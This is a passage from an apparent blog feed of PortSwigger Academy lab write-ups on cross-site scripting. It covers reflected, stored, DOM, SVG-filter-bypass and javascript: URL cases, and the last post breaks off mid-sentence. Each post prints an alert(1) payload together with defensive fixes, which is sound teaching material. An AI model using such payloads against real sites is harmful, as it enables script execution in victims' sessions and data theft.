    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>Unencoded reflected HTML</strong>. The <code>search</code> parameter is inserted directly into HTML body text without encoding <code>&lt;</code>, <code>&gt;</code>, quotes, or ampersands. Because the browser receives attacker-controlled markup in an HTML text context, it creates a script element rather than displaying the characters.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: Submitting the search URL executes <code>alert(1)</code> and solves the lab.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The <code>search</code> parameter is inserted directly into HTML body text without encoding <code>&lt;</code>, <code>&gt;</code>, quotes, or ampersands. Because the browser receives attacker-controlled markup in an HTML text context, it creates a script element rather than displaying the characters.</p><figure><img src="/images/portswigger/xss/lab-html-context-nothing-encoded/step-1.png" alt="Academy objective describing a simple reflected XSS flaw in the blog search function."><figcaption>Academy objective describing a simple reflected XSS flaw in the blog search function.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, the <code>search</code> parameter is inserted directly into HTML body text without encoding <code>&lt;</code>, <code>&gt;</code>, quotes, or ampersands. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;`</span><br></pre></td></tr></table></figure><p>Because the browser receives attacker-controlled markup in an HTML text context, it creates a script element rather than displaying the characters. </p><figure><img src="/images/portswigger/xss/lab-html-context-nothing-encoded/step-2.png" alt="Search page with the encoded script test entered in the query field before submission to the unencoded HTML text context."><figcaption>Search page with the encoded script test entered in the query field before submission to the unencoded HTML text context.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-html-context-nothing-encoded/step-3.png" alt="Browser alert dialog showing `1` after the reflected script element is parsed and executed."><figcaption>Browser alert dialog showing `1` after the reflected script element is parsed and executed.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>Submitting the search URL executes <code>alert(1)</code> and solves the lab. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Follow the search query into an unencoded HTML response and learn how a script element executes immediately in the reflected page context.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Reflected XSS with some SVG markup allowed</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-some-svg-markup-allowed/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-some-svg-markup-allowed/</id>
    <published>2026-07-03T11:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>SVG SMIL event filter bypass</strong>. The filter rejects common HTML and events but permits <code>svg</code>, <code>animate</code>&#x2F;<code>animateTransform</code>, and the SVG animation event <code>onbegin</code>. The SMIL animation begins during document processing, so its allowed <code>onbegin</code> handler runs without a click.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: The automatic alert appears and the lab records success.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The filter rejects common HTML and events but permits <code>svg</code>, <code>animate</code>&#x2F;<code>animateTransform</code>, and the SVG animation event <code>onbegin</code>. The SMIL animation begins during document processing, so its allowed <code>onbegin</code> handler runs without a click.</p><figure><img src="/images/portswigger/xss/lab-some-svg-markup-allowed/step-1.png" alt="Academy objective states that common tags are blocked but some SVG tags and events remain available for an alert call."><figcaption>Academy objective states that common tags are blocked but some SVG tags and events remain available for an alert call.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-some-svg-markup-allowed/step-2.png" alt="Search field contains an inert SVG `onload` probe, used to establish that the obvious event is filtered."><figcaption>Search field contains an inert SVG `onload` probe, used to establish that the obvious event is filtered.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-some-svg-markup-allowed/step-3.png" alt="Application rejection message reads “Event is not allowed,” confirming that `onload` is blocked."><figcaption>Application rejection message reads “Event is not allowed,” confirming that `onload` is blocked.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, the filter rejects common HTML and events but permits <code>svg</code>, <code>animate</code>&#x2F;<code>animateTransform</code>, and the SVG animation event <code>onbegin</code>. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`&amp;lt;svg&amp;gt;&amp;lt;animatetransform onbegin=alert(1)&amp;gt;`</span><br></pre></td></tr></table></figure><p>The SMIL animation begins during document processing, so its allowed <code>onbegin</code> handler runs without a click. </p><figure><img src="/images/portswigger/xss/lab-some-svg-markup-allowed/step-4.png" alt="Burp Intruder tag-enumeration results return status 200 for `svg`, `animate`, and `animatetransform` while common HTML tags return 400."><figcaption>Burp Intruder tag-enumeration results return status 200 for `svg`, `animate`, and `animatetransform` while common HTML tags return 400.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-some-svg-markup-allowed/step-5.png" alt="Burp Intruder event-enumeration results identify `onbegin` as an accepted SVG animation event in the reflected search request."><figcaption>Burp Intruder event-enumeration results identify `onbegin` as an accepted SVG animation event in the reflected search request.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-some-svg-markup-allowed/step-6.png" alt="Browser alert dialog showing `1` after the allowed `animateTransform` element fires its `onbegin` handler during parsing."><figcaption>Browser alert dialog showing `1` after the allowed `animateTransform` element fires its `onbegin` handler during parsing.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The automatic alert appears and the lab records success. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-some-svg-markup-allowed">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Learn how reflected search input reaches an SVG animation event and why an allowed animateTransform onbegin handler bypasses the tag filter.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Stored DOM XSS</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-dom-xss-stored/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-dom-xss-stored/</id>
    <published>2026-07-03T08:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>Stored DOM XSS through one-shot replacement</strong>. Comments are stored, then client code calls <code>comment.replace(&quot;&lt;&quot;, &quot;&amp;lt;&quot;).replace(&quot;&gt;&quot;, &quot;&amp;gt;&quot;)</code> before assigning the result to <code>innerHTML</code>. String-pattern <code>replace</code> changes only the first bracket pair; the sacrificial <code>&lt;&gt;</code> consumes both replacements and leaves the image handler intact.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: Reloading the post renders the stored image, fires <code>onerror</code>, and solves the lab.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Comments are stored, then client code calls <code>comment.replace(&quot;&lt;&quot;, &quot;&amp;lt;&quot;).replace(&quot;&gt;&quot;, &quot;&amp;gt;&quot;)</code> before assigning the result to <code>innerHTML</code>. String-pattern <code>replace</code> changes only the first bracket pair; the sacrificial <code>&lt;&gt;</code> consumes both replacements and leaves the image handler intact.</p><figure><img src="/images/portswigger/xss/lab-dom-xss-stored/step-1.png" alt="Academy objective identifying stored DOM XSS in blog comments and requiring an alert call."><figcaption>Academy objective identifying stored DOM XSS in blog comments and requiring an alert call.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-dom-xss-stored/step-2.png" alt="Client-side `escapeHTML` uses two non-global `replace` calls, encoding only the first less-than and greater-than characters before the result reaches `innerHTML`."><figcaption>Client-side `escapeHTML` uses two non-global `replace` calls, encoding only the first less-than and greater-than characters before the result reaches `innerHTML`.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, comments are stored, then client code calls <code>comment.replace(&quot;&lt;&quot;, &quot;&amp;lt;&quot;).replace(&quot;&gt;&quot;, &quot;&amp;gt;&quot;)</code> before assigning the result to <code>innerHTML</code>. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`&amp;lt;&amp;gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;`</span><br></pre></td></tr></table></figure><p>String-pattern <code>replace</code> changes only the first bracket pair; the sacrificial <code>&lt;&gt;</code> consumes both replacements and leaves the image handler intact. </p><figure><img src="/images/portswigger/xss/lab-dom-xss-stored/step-3.png" alt="Browser alert dialog showing `1` after the sacrificial first bracket pair leaves the later image error handler executable."><figcaption>Browser alert dialog showing `1` after the sacrificial first bracket pair leaves the later image error handler executable.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-dom-xss-stored/step-4.png" alt="Rendered comment contains two broken-image icons and visible inert `&lt;&gt;` text, confirming how the one-shot replacement altered the stored value."><figcaption>Rendered comment contains two broken-image icons and visible inert `&lt;&gt;` text, confirming how the one-shot replacement altered the stored value.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>Reloading the post renders the stored image, fires <code>onerror</code>, and solves the lab. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Learn how a stored comment reaches innerHTML after only the first angle bracket is replaced, and why a second bracket pair restores executable image markup.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Stored XSS into anchor href attribute with double quotes HTML-encoded</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-href-attribute-double-quotes-html-encoded/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-href-attribute-double-quotes-html-encoded/</id>
    <published>2026-07-03T05:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>Stored dangerous URL scheme</strong>. The comment <code>website</code> value becomes the author anchor <code>href</code>. Double quotes are encoded, but the application does not restrict URL schemes. The value stays inside the quoted attribute yet remains executable as a JavaScript URL when the author name is followed.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: Clicking the stored comment author link fires the alert and solves the lab.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The comment <code>website</code> value becomes the author anchor <code>href</code>. Double quotes are encoded, but the application does not restrict URL schemes. The value stays inside the quoted attribute yet remains executable as a JavaScript URL when the author name is followed.</p><figure><img src="/images/portswigger/xss/lab-href-attribute-double-quotes-html-encoded/step-1.png" alt="Academy objective requiring stored XSS through the comment author link when the author name is clicked."><figcaption>Academy objective requiring stored XSS through the comment author link when the author name is clicked.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-href-attribute-double-quotes-html-encoded/step-2.png" alt="Rendered comment shows an image-like test string as the clickable author text, demonstrating that the Website field controls the author anchor destination."><figcaption>Rendered comment shows an image-like test string as the clickable author text, demonstrating that the Website field controls the author anchor destination.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, the comment <code>website</code> value becomes the author anchor <code>href</code>. Double quotes are encoded, but the application does not restrict URL schemes. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`javascript:alert(1)`</span><br></pre></td></tr></table></figure><p>The value stays inside the quoted attribute yet remains executable as a JavaScript URL when the author name is followed. </p><figure><img src="/images/portswigger/xss/lab-href-attribute-double-quotes-html-encoded/step-3.png" alt="Developer Tools highlights the author anchor whose `href` contains the inert text `javascript:alert(1)` while the comment body contains the separate image test string."><figcaption>Developer Tools highlights the author anchor whose `href` contains the inert text `javascript:alert(1)` while the comment body contains the separate image test string.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-href-attribute-double-quotes-html-encoded/step-4.png" alt="Browser alert dialog showing `1` after the stored author link is clicked and its JavaScript URL is followed."><figcaption>Browser alert dialog showing `1` after the stored author link is clicked and its JavaScript URL is followed.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>Clicking the stored comment author link fires the alert and solves the lab. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-href-attribute-double-quotes-html-encoded">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Trace a stored website value into an anchor href and learn why the javascript URL scheme still executes when a reader clicks the author link.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Stored XSS into HTML context with nothing encoded</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/stored-xss-into-html-context-with-nothing-encoded/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/stored-xss-into-html-context-with-nothing-encoded/</id>
    <published>2026-07-03T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>Unencoded stored comment HTML</strong>. <code>POST /post/comment</code> persists the <code>comment</code> value and later inserts it into the post page as raw HTML. No output encoding prevents the stored characters from becoming a script element for every subsequent viewer.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: Reloading the post executes the stored alert and shows the solved state.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p><code>POST /post/comment</code> persists the <code>comment</code> value and later inserts it into the post page as raw HTML. No output encoding prevents the stored characters from becoming a script element for every subsequent viewer.</p><figure><img src="/images/portswigger/xss/stored-xss-into-html-context-with-nothing-encoded/step-1.png" alt="Academy objective identifies unencoded stored XSS in blog comments and requires an alert for every viewer."><figcaption>Academy objective identifies unencoded stored XSS in blog comments and requires an alert for every viewer.</figcaption></figure><figure><img src="/images/portswigger/xss/stored-xss-into-html-context-with-nothing-encoded/step-2.png" alt="Comment form receives the encoded script payload as inert text in the Comment field before storage."><figcaption>Comment form receives the encoded script payload as inert text in the Comment field before storage.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, <code>POST /post/comment</code> persists the <code>comment</code> value and later inserts it into the post page as raw HTML. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;`</span><br></pre></td></tr></table></figure><p>No output encoding prevents the stored characters from becoming a script element for every subsequent viewer. </p><figure><img src="/images/portswigger/xss/stored-xss-into-html-context-with-nothing-encoded/step-3.png" alt="Browser alert dialog showing `1` when the post is revisited and the stored comment is parsed as a script element."><figcaption>Browser alert dialog showing `1` when the post is revisited and the stored comment is parsed as a script element.</figcaption></figure><figure><img src="/images/portswigger/xss/stored-xss-into-html-context-with-nothing-encoded/step-4.png" alt="Solved Academy banner confirms the stored payload executed in the comment HTML context."><figcaption>Solved Academy banner confirms the stored payload executed in the comment HTML context.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>Reloading the post executes the stored alert and shows the solved state. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Trace raw comment text into the rendered post body and learn why every later viewer executes the stored script in the site origin.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-onclick-event-angle-brackets-double-quotes-html-encoded-single-quotes-backslash-escaped/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-onclick-event-angle-brackets-double-quotes-html-encoded-single-quotes-backslash-escaped/</id>
    <published>2026-07-02T23:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>HTML entity decoding inside stored onclick</strong>. The stored website appears inside JavaScript in an anchor <code>onclick</code>; angle brackets&#x2F;double quotes are HTML-encoded and literal single quotes&#x2F;backslashes are escaped. The HTML parser decodes <code>&amp;apos;</code> to a quote before the event-handler JavaScript is compiled, creating an executable subtraction expression.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: Clicking the stored author name invokes <code>alert(1)</code> and completes the lab.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The stored website appears inside JavaScript in an anchor <code>onclick</code>; angle brackets&#x2F;double quotes are HTML-encoded and literal single quotes&#x2F;backslashes are escaped. The HTML parser decodes <code>&amp;apos;</code> to a quote before the event-handler JavaScript is compiled, creating an executable subtraction expression.</p><figure><img src="/images/portswigger/xss/lab-onclick-event-angle-brackets-double-quotes-html-encoded-single-quotes-backslash-escaped/step-1.png" alt="Academy objective requiring stored XSS from the comment author name when its generated `onclick` handler is activated."><figcaption>Academy objective requiring stored XSS from the comment author name when its generated `onclick` handler is activated.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, the stored website appears inside JavaScript in an anchor <code>onclick</code>; angle brackets&#x2F;double quotes are HTML-encoded and literal single quotes&#x2F;backslashes are 